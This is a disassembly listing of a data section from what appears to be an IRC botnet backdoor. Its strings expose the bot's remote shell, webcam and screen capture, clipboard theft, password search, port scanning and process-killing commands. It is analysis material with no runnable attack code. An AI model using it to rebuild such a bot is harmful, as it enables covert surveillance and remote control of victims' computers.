dword_435358	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6008o
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_435394	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB3o
		dd 2BBBB02h, 73252020h,	0
unk_4353B4	db    2			; DATA XREF: sub_40EE72+5F89o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_435400	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F13o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Do
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F06o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EABo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Ao
		align 4
unk_43544C	db    2			; DATA XREF: sub_40EE72+5E8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_435494	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Do
dword_4354A4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D68o
dword_4354B0	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D55o
dword_4354BC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D50o
dword_4354CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Do
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B82o
		align 4
dword_43550C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFBo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B60o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC6o
		align 4
dword_43555C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C74o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_435598	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C60o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_4355C0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Bo
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_435608	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD0o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_435634	dd 627573h		; DATA XREF: sub_40EE72+5BAAo
dword_435638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Bo
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_435660	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B40o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_4356A8	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD1o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_4356D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A34o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4356F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A02o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_435720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59ADo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_435748	db    2			; DATA XREF: sub_40EE72+599Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435798	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Bo
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Bo
		align 10h
unk_4357D0	db    2			; DATA XREF: sub_40EE72+58B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_435804	db    2			; DATA XREF: sub_40EE72+5891o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_435834	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5848o
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_43585C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F7o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43588C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+577Eo
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_4358C4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5762o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4358FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5744o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5716o
		align 4
unk_43593C	db    2			; DATA XREF: sub_40EE72:loc_414578o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435978	db    2			; DATA XREF: sub_40EE72+56EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_4359AC	db    2			; DATA XREF: sub_40EE72:loc_41454Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_4359E8	db    2			; DATA XREF: sub_40EE72:loc_414546o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_435A24	db    2			; DATA XREF: sub_40EE72+56CDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_435A58	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Do
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 4
dword_435AA4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F2o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 10h
unk_435AF0	db    2			; DATA XREF: sub_40EE72+5526o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_435B38	db    2			; DATA XREF: sub_40EE72+53B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 10h
unk_435B80	db    2			; DATA XREF: sub_40EE72+5285o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_435BAC	db    2			; DATA XREF: sub_40EE72+526Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_435BF8	db    2			; DATA XREF: sub_40EE72+51FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435C30	db    2			; DATA XREF: sub_40EE72:loc_414037o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 4
unk_435C74	db    2			; DATA XREF: sub_40EE72+5106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_435CEC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC6o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_435D20	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EAAo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435D50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E87o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435D80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Bo
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_435DA8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Co
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_435DE4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE3o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_435E18	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C0Fo
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 10h
dword_435E50	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D84o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Ao
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE3o
					; sub_40EE72:loc_414B4Ao
		align 4
dword_435E9C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_435ED0	db    3			; DATA XREF: sub_40EE72:loc_413AC5o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_435F14	db    3			; DATA XREF: sub_40EE72+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 10h
dword_435F50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435F84	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A4Fo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_435FBC	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_435FE8	db    2			; DATA XREF: sub_40EE72:loc_4139F0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_436028	db    2			; DATA XREF: sub_40EE72+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_43605C	db    2			; DATA XREF: sub_40EE72:loc_413990o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 10h
unk_4360A0	db    2			; DATA XREF: sub_40EE72+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4360D8	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_436104	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_436138	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_43615C	db    2			; DATA XREF: sub_40EE72+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_4361A8	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_4361D0	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413745o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4361FC	db    2			; DATA XREF: sub_40EE72+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_436228	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_436250	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_43628C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_4362BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
dword_4362F0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413639o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_43633C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41362Fo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_43638C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_4363C8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Do
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_436410	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413586o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_436454	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FAo
		align 4
dword_436498	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_4364CC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413463o
dword_436508	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413450o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_436550	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413449o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_43658C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413400o
		align 10h
dword_4365D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_4365F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_436638	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_43666C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_436698	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4366C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_4366F0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436714	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
					; sub_40EE72+4E76o
dword_436720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+432Eo
		align 4
dword_436758	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_436784	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_4367B0	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+423Fo
dword_4367B8	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4212o
